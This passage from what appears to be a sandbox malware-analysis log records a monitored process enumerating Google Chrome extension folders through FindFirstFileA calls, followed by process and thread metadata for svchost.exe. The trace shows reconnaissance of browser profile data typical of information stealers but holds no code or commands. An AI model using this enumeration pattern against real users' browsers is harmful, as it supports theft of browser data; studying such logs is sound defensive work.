Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.872] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.872] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.873] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.873] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.873] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.874] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.874] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.874] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.875] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.875] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.875] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.878] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.878] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.879] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.879] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844c0700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844c0700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xab, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.879] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.880] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8402f010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422fb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422fb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0145.881] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84036540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8403b360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.881] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x840512f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84056110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84056110, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.882] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84062460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84067280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84067280, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.882] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8406e7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8407f920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8407f920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.882] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8408bc70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84090a90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84090a90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.883] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84097fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8409cde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8409cde0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.883] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841147f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84116f00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84116f00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.883] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8411bd20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84120b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84120b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.884] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8412a780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8412ce90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8412ce90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.884] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84131cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841343c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841343c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.884] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841391e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8413b8f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8413b8f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.885] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84140710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84142e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84142e20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.885] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84147c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8414a350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8414a350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.885] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84153f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841566a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841566a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 Thread: id = 819 os_tid = 0x148c Thread: id = 822 os_tid = 0x1498 Thread: id = 825 os_tid = 0x14a4 Process: id = "24" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xd1f5000" os_pid = "0x2c8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b448" [0xc000000f], "LOCAL" [0x7] Thread: id = 907 os_tid = 0x13d4 Thread: id = 908 os_tid = 0x838 Thread: id = 909 os_tid = 0x68c Thread: id = 910 os_tid = 0x3a4 Thread: id = 911 os_tid = 0xb0 Thread: id = 912 os_tid = 0x5b4 Thread: id = 913 os_tid = 0x20c Thread: id = 914 os_tid = 0x358 Thread: id = 915 os_tid = 